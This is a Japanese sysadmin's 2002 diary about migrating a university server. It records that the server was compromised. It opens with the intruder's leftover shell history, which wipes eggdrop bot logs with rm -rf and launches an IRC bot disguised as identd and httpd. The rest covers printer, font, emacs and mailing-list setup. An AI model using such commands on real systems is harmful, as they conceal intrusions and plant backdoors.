rm -rf Bot.notes Bot.user Bot.user~bak eggdrop.log eggdrop.log.yesterday pid.coltBot
clear
pico qrs.conf
pico qrs.conf
ls
./identd colt
./httpd -m qrs.conf
echo "source qrs.tcl" >> qrs.conf
exit
うわぁ、完全にやられてる!!
侵入者は /dev/に /dev/ptyas というディレクトリを作って
そこで 作業を行っていたようだ。。。そこには eggdropなるものが
残されていた。卵を生みつけられた感じ。
うわぁ きもちわるいぃ。
みーな様から聞いた話によれば、
eggdropとは IRCのチャットロボットなのだそうです。
IRCとは インターネットリレーチャットの略で
インターネットでは一般的なチャットシステムです。
チャットロボットなんていうと 可愛い感じですが、
設定によっては おぞましいプログラムと化します。
たとえば そのロボットを仕掛けた人が チャットのチャンネル上で
ロボットにある言葉を話し掛けると その言葉に従って
仕組んだサーバー内で 工作活動を行うロボットとか そんな感じ。
ってか、eggdrop以外にも identdとかも取り換えられていて
すっかり 乗っ取られてます。。。もう marineは おしまいです。(T-T)
もう、この日は何もする気になれませんでした。
とりあえず ネットワークケーブルを引き抜いて、放置。
2002年03月17日
この日、日曜日、家内の実家に遊びにいっていたのですが
家内の実家のコンピュータを借りて、
marineにsshでログインしようとしたら つながらなかった。。
???と 思いつつも 大学のネットワークが落ちてるのかな?
くらいに考えいた。
...
2002年03月11日
すっかり忘れていたことを 今日思い出した。
よく考えたらプリンタがまだつながってなかった。
古いサーバーにつながっているプリンタは
沖データのmicroline600PSII。安いpostscriptプリンタ。
まず 古いサーバーから外して、 marineにつなぎ直す。
ふぅ。
で、プリンタの設定って どうやるんだっけ?/etc/printcap書いて、えーとー
とか考えつつ、redhatのFAQ読んでたら、なんと!
redhatには GUIのプリンタ設定ツールがあるのか!
コマンド名は printconf-gui。新規ボタンをおして
プリンタの種類を選ぶ。。。まるで windowsみたいだ。
ぉぉ!テスト印刷までできるようになっているではないか。
感動した!(小泉首相風に)
テスト印刷は うまくいった。
次に もっとも印刷することが多いであろうdviファイルを印刷してみる。
ウィーン。。ぉ、出て来た、出て来た?
ん?なんじゃこりゃ。。。
日本語の部分が全部消えていて アルファベットだけが印刷されている。。
困った。フォントまわりの設定かな。。
実際 missfont.logとかいうファイルが出来てる。
しかたなく それっぽいキーワードで検索をかけると
redhatのMLに記事があった。
redhatは /usr/share/texmf/dvips/config/psfonts.mapで
日本語のフォント関係の設定が抜けてるらしい。
psfonts.mapに
rml Ryumin-Light-H
の4行を付け足したら うまくいった。よしよし。
rmlv Ryumin-Light-V
gbm GothicBBB-Medium-H
gbmv GothicBBB-Medium-V
ところで texファイルをemacsで開いていて
気になったことがある。キーワードや予約語を
ハイライトで色づけしてくれているのだが、
色が 合ってないのだ。私は 背景が明るいグレー、文字色が黒というのが
気に入っているのだが、デフォルトのハイライトは明るい色が多いので
見にくいことこの上ない。
これを 自分風にカスタマイズすることに。
なかなか説明もしくは.emacsの例の載っている
手頃なサイトがみつからなかったのだが なんとか
設定例をみつけて 自分好みの色設定をしてみた。
これで よし。
;; font-lock をロード(色付けを行う)
(add-hook 'c-mode-hook
'(lambda () (font-lock-mode 1)))
(add-hook 'c++-mode-hook '(lambda () (font-lock-mode 1)))
(add-hook 'objc-mode-hook '(lambda () (font-lock-mode 1)))
(add-hook 'html-helper-mode-hook '(lambda () (font-lock-mode 1)))
(add-hook 'tex-mode-hook '(lambda () (font-lock-mode 1)))
(add-hook 'latex-mode-hook '(lambda () (font-lock-mode 1)))
(add-hook 'java-mode-hook ' (lambda () (font-lock-mode 1)))
(add-hook 'lisp-mode-hook ' (lambda () (font-lock-mode 1)))
(add-hook 'font-lock-mode-hook '(lambda () (my-font-lock-set-face)))
(defun my-font-lock-set-face ()
;;
;; 'if' や 'whileといった予約語
(make-face 'my-keyword-face)
(set-face-foreground 'my-keyword-face "red4")
(setq font-lock-keyword-face 'my-keyword-face)
;;(setq font-lock-keyword-face 'bold)
;;
;; コメント
(make-face 'my-comment-face)
(set-face-foreground 'my-comment-face "royalblue")
(setq font-lock-comment-face 'my-comment-face)
;;
;; 文字列
(make-face 'my-string-face)
(set-face-foreground 'my-string-face "darkgreen")
(setq font-lock-string-face 'my-string-face)
;;
;; 関数名
(make-face 'my-function-face)
(set-face-foreground 'my-function-face "magenta4")
(setq font-lock-function-name-face 'my-function-face)
;;
;; 変数名
(make-face 'my-variable-name-face)
(set-face-foreground 'my-variable-name-face "firebrick1")
(setq font-lock-variable-name-face 'my-variable-name-face)
;;(setq font-lock-function-name-face 'default)
;;
;; 'typedef' や 'class'
(make-face 'my-type-face)
(set-face-foreground 'my-type-face "darkorange2")
(setq font-lock-type-face 'my-type-face)
;;(setq font-lock-type-face 'default)
;;
;; document
;;(make-face 'my-doc-string-face)
;;(set-face-foreground 'my-doc-string-face "slatepurple")
;;(setq font-lock-doc-string-face 'my-doc-string-face )
)
;;; c-mode, c++-modeの設定
;;;
(add-hook 'c-mode-hook '(lambda () (font-lock-mode 1)
(setq font-lock-keywords c-font-lock-keywords-2)
))
(add-hook
'c++-mode-hook
'(lambda ()
(font-lock-mode 1)
(setq font-lock-keywords c++-font-lock-keywords-2)
))
2002年02月27日
26日深夜寝るところで、数学の授業の出欠に関する掲示板に書き込みが
あった。書き込みがあると 携帯に転送されるので すぐに分かるのである。
ところが これが古いサーバーの方に書き込まれていた。。。
ん?直接 掲示板にブックマークしてたのかな?リンクは貼り直した
はずだが、、と おもってチェックしてみたら 貼り直してないじゃん。>俺
がーん。
ということで 貼り直す。
ん?掲示板のcgiのメール転送先が aquaじゃないか。。。
で、設定を直す。
ん?そしたら メールエイリアスをmarineにつくらないとだめだ。。。
エイリアスをつくる。。。
ん?そしたら携帯電話へのメール転送スクリプトを marineにも
いれないと携帯に転送されないぞ。。。
この辺で もうヤケになってる。(-_-;)
ところが 携帯へのメール転送が 今回 うまくいかない。。。
あれー。転送スクリプトのpermissionは ちゃんと厳しくしてある
のになぁ。。。と だいぶ悩んだ末に気づいた。
.forwardファイルのpermissionが あまかったのだ。。。
ようやくうまくいく。掲示板にもテスト書き込みをして、と。
ん?もう3時半じゃんかーーー。(とかいいながら これ書いてる)
ねます。
2002年02月22日
なんとか サーバー業務の移行も大まかなところは終った感じだ。
#携帯電話への 転送スクリプトは また今度。(ぉぃぉぃ)
さて、web pageの移行とかを やっているときにふと気づいた。
redhatには xvが入ってないのか??
大昔、UNIXの使い方を始めて知ったときから、ずっと、
画像ファイルを表示させるといえば もう xvである。
UNIXでびゅーわーといったら だれがなんといってもxvなのだ。
もう その辺りは 脊髄反射にちかい。
xvが入ってないと こまるのである。
#xvは sharewareだったっけ?その辺が 微妙なところなんだろうな。
で、自分で入れる事にした。とりあえず いつもだったら
ソースげっとなのだが redhatになってから rpmを使わないと
いけないみたいなんで(使わないといかん、というわけではないのだろうけど)
rpmパッケージを探す。
あ、あった。これだ。よし、落そうと おもったら
落せない。あれ?。。。あれれ?
何度やってもだめ。
ftp.linux.or.jpが 落ちてるの??
いろいろ探して mirrorサイトを見付けて なんとか
ダウンロードする。
いつも 適当にダウンロードして つかってるけど、
おなじようなファイル名で トロイの木馬がはいってたら
どうするんだろう、俺。
#だめじゃん!
とにかく それっぽいのをダウンロードしてみた。(ダメダメだ)
rpmコマンドで インストール。何も問題なくインストール完了。
こんなんで いいんだろうか。。
2002年02月21日
昨日 適当にMLを動かしたら 痛い目を見たので、
そっちは 後回しにして ゑぶさーばーの仕事をする。(おぃぉぃ)
っていうか 大学では marineの作業を後回しにして 計算機室の 作業を。
んで、夕方から 自宅で marineの作業をする。(remote)
まず httpdだが 基本的には 動いてる。
なので web pageのデータだけを
移すと ほぼ おっけー。
が、iconとかのデータが うごいてなかったので aquaから
サーバーのルートのiconデータを移行。httpd.confを書き換え。
これで とりあえず HPが表示されるようになった。
その後 cgi-binの設定。webで 探したら redhatが
実に分かりやすいページ
を 提供してくれているみたい。
そこを 読んで 設定するとほぼ一発で うまくいった。
で、つぎに MLにも とりかからねば。
昨日のトラウマが あったのだが、設定ファイルを見直すと
単純なミスに すぐ気づく。/etc/aliasesの設定を sample設定から
コピぺしてたのだけど、その設定だと どう考えたって メールがループする。(笑)
#でも 笑い事じゃないか。
それを 直したら また 一発で いい感じにうごくではないですか。
あとは それに見習って 別のMLも順次移行する。
これで MLの業務移行完了!
2002年02月20日
aquaの仕事のうち、ひろく公に貢献しているものとしては
webサーバーであること、メーリングリストサーバーであること、の2つだろう。
それ以外の仕事は ようするに 私個人のためのサーバー業務だから。
ということで つぎは上記の2件について 作業をすることにする。
ところが MLの作業をやってて つまずくと ゑぶの仕事に手をだしちゃったりして
ものすごくクロスオーバーしながら やったのだが、どうだろう。
#ダメじゃん。
とにかく まずMLだ。
この際だから fmlの最新バージョンをいれる。
どのアカウントでやるかが いろいろ問題だが、
fmlの一式のインストールは rootで。
実際にMLをつくろところは 各ML用のアカウントで 行う。
ここで問題発生。HDDの切り分けをよくみると
「/」 「/var」 「/usr」 「/home」 の4つに分かれているのだが
/varのパーティションが すごい小さい。200Mくらいしかない。
しかも いっぱいになってる。。。がーん。
なにが 場所を食っているのかをしらべたら sendmailが なかなか
うまくうごかなかったときに debugのために -Xオプションをつけて
動かしていたために 膨大なログが残ってしまっていた。。
とりあえず ログを消す。すると duによれば 使用量が 30MBくらいになった。
ところが dfしても 使用率100%のまま。。。なんで?
よくわからんのだけど、しばらくしたら 正しい数値 14% になったのですが
はじめは パニくってしまって、しょうがなく MLのディレクトリを
/usr/の下につくって /var/spoolに リンク張ることにしました。
さて、とりあえず ひとつMLを作って、自分を登録して、投稿してみる。。。
なんか嫌な予感がしたが、とりあえず メールが手もとに届いた。
おっけーだ。
よし、aquaから 過去記事を移して、記事番号を変えて、
aquaのアドレス登録の設定を移して。。
よし おっけーだろう(推量)。送ってみよう!(まちがい!)
送ってみる。ログをみる。。。。
なんだ?ログに どんどん エラーがたまってるぞ。。。(冷や汗)
メールが ループしているようだ。(劇汗)
うちわのMLとはいえ、だれかに迷惑がかかっては いかんので、
止める事に。。でも remoteで作業していたので 急きょ system haltする。
2002年02月19日
話は変わりますが、今日で31歳になりました。
って どうでもいい話だな。
さて、つぎはメールクライアントを入れようと思う。
そうしないと メール環境が移せないからだ。
また、メールをよむ環境を移せば 自然と 新サーバーに移行するってもんだ。
さて、このマシンにはもともとbalsaというメールソフトが入っているみたい。
まぁ わるくはないのだけども、どうにも日本語がうまく表示できないみたい
なので(私のスキルが低いだけかもしれないけど)パス。
メールソフトというと 以前はMew、その後 cmail。
今回は なに使おうか。ちょっと 毛並の変わったというか
新しいものをいれてみようということで sylpheedを入れてみた。
んー、まぁ わるくない。でも Mewとかのほうが editorが
手に馴染んでいるので いいかなぁ。まぁ 外部エディターでメール編集できる
みたいだし(っていうか それなら Mewでいいんじゃないのか)。
それと メールの保存形式が MH形式なので Mewと共有できるところも
便利そうだ。(外部からログインして過去のメールを読むときは
Mewで読めるってこと。これは便利だ。)
さて sylpheedをインストール。つい ソースファイルを落してしまったが
よく考えると 今はredhatなので rpmパッケージで入れるのが
正しいのであろう。そこで rpmパッケージを 再び 探しにいく。
すぐみつかって インストール。
rpmって、んー、簡単すぎて 変な感じ。
起動してみる。まぁ 普通のメールソフトですな。
唯一気に入らなかったのは メール編集時に ctrl-Mで改行しないこと。
ま、編集は全部 emacs/muleでやるからいいさ。
その後 mewをインストール。古いマシンのから移そうとして
手間取ってしまったが、新しく 1からファイルを落してきて
インストールしたら あっというまでした。とりあえず
これで メールをよめる環境になったぞ、と。
2002年02月15日
なんだかその後いろいろ忙しくって、今日 ひさしぶりに新サーバーをいじる。
とりあえず、host名を marineに。
#popdくらい、はいってないわけないんだけどなぁ。